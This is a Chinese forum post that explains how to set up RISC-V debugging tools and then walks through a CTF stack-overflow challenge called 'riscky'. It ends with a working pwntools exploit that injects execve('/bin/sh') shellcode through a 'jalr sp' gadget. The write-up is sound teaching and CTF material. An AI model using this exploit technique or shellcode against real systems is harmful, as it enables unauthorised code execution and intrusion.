-
-
[原创]risc-v环境搭建及调试
-
2022-5-10 21:20 10805
-
二:risc-v程序调试环境搭建
1.安装gdb-multiarch
gdb-multiarch是含有多种架构接口的调试器
1 | sudo apt - get install gdb - multiarch |
2.安装qemu-user
对于一般的非x86架构的程序,可以用user模式模拟,有的可能需要system模式来模拟程序运行所需的环境
1 | sudo apt install qemu - user |
3.安装riscv-gnu-toolchain
直接把所有仓库都克隆下来
1 2 3 | git clone - - recursive https: / / github.com / riscv - collab / riscv - gnu - toolchain.git . / configure - - prefix = / opt / riscv make |
因为这个工具链太大了,所以make需要很长的时间,而且还可能会报错(别问我怎么知道的┭┮﹏┭┮),而且没有我所需要的riscv64-linux-gnu-gdb,所以我选择直接下载gz文件
网址:https://github.com/riscv-collab/riscv-gnu-toolchain/releases
解压之后,在bin目录下会有各种工具。
就可以使用了
三:实例
1.分析
题目里给了docker,这种题可以在dockerfile里换源在build,这样成功率高很多。题目是一道risc-v的架构,由于不能用ida反汇编,我直接读了下汇编代码,幸好不长;
其实我也用ghrdia了,但是我环境有问题,一直不能反汇编。
1 2 3 4 5 6 | Arch: em_riscv - 64 - little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE ( 0x10000 ) RWX: Has RWX segments |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | var_s0 = 0 var_s8 = 8 arg_0 = 10h addi sp, sp, - 210h / / 528 sd ra, 200h + var_s8(sp) sd s0, 200h + var_s0(sp) addi s0, sp, 200h + arg_0 li a1, 0 sd a1, - 210h (s0) sw a1, - 14h (s0) ld a0, stdin_ptr ld a0, 0 (a0) jal setbuf ld a1, - 210h (s0) ld a0, stdout_ptr ld a0, 0 (a0) jal setbuf la a1, failed li a0, 0Bh jal ssignal la a0, aDonTMiss # "Don't miss!" jal puts la a0, asc_4C6FC # "> " jal printf addi a0, s0, - 208h jal gets / / 栈溢出 ld a0, - 210h (s0) ld s0, 200h + var_s0(sp) ld ra, 200h + var_s8(sp) / / ra为返回地址 addi sp, sp, 210h ret |
调试一下得
risc-v的返回地址存在ra内,利用分析在下面。
2.汇编调试
这里说一下怎么调试,在entrypoint.sh内加上-g 9000,然后启动docker;
1 2 | docker build - - no - cache - t riscky . docker run - - rm - d - - name riscky - p 9000 : 9000 - p 9999 : 9999 riscky |
之后开两个终端,一个nc 127.0.0.1 9999,另一个终端运行gdb-multiarch riscv,在target remote 127.0.0.1:9000
gets的时候我们输入了8字节的a,栈的地址为0x40008009c0
从0x40008009c8(sp+8处)开始读入,我们看到后面的汇编也比较简单。由于对risc-v的汇编不是很熟悉,就单步一下看看变化,就是将s0-528处的数据传给a0;
再下面就是将sp+512地址处的数据传给s0;
后面就到了重头戏,ra的控制;所以我们只需要控制sp+520处的数据,就可以劫持程序执行流程。
3.getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | from pwn import * binary = ELF( './riscky' , checksec = False ) context.arch = 'riscv' context.bits = 64 p = process( 'qemu-riscv64 riscky' .split()) # https://thomask.sdf.org/blog/2018/08/25/basic-shellcode-in-riscv-linux.html shellcode = asm(f ''' li s1, {'0x' + bytes.hex(b'/bin/sh'[::-1])} sd s1, -16(sp) # Store dword s1 on the stack addi a0,sp,-16 # a0 = filename = sp + (-16) slt a1,zero,-1 # a1 = argv set to 0 slt a2,zero,-1 # a2 = envp set to 0 li a7, 221 # execve = 221 ecall # Do syscall ''' ) if args.D: print (disasm(shellcode)) payload = b'' payload + = ( 520 - 8 ) * b 'A' #先填充512字节垃圾数据,因为是从sp+8处开始读入的,所以填512字节足矣 payload + = p64( 0x1060c ) #0x1060c jalr sp 劫持程序流所用的gadget payload + = shellcode #在addi sp,sp,528之后sp为shellcode的地址 p.sendlineafter(b '> ' , payload) p.interactive() |
[2023春季班]《安卓高级研修班(网课)》月薪两万班招生中~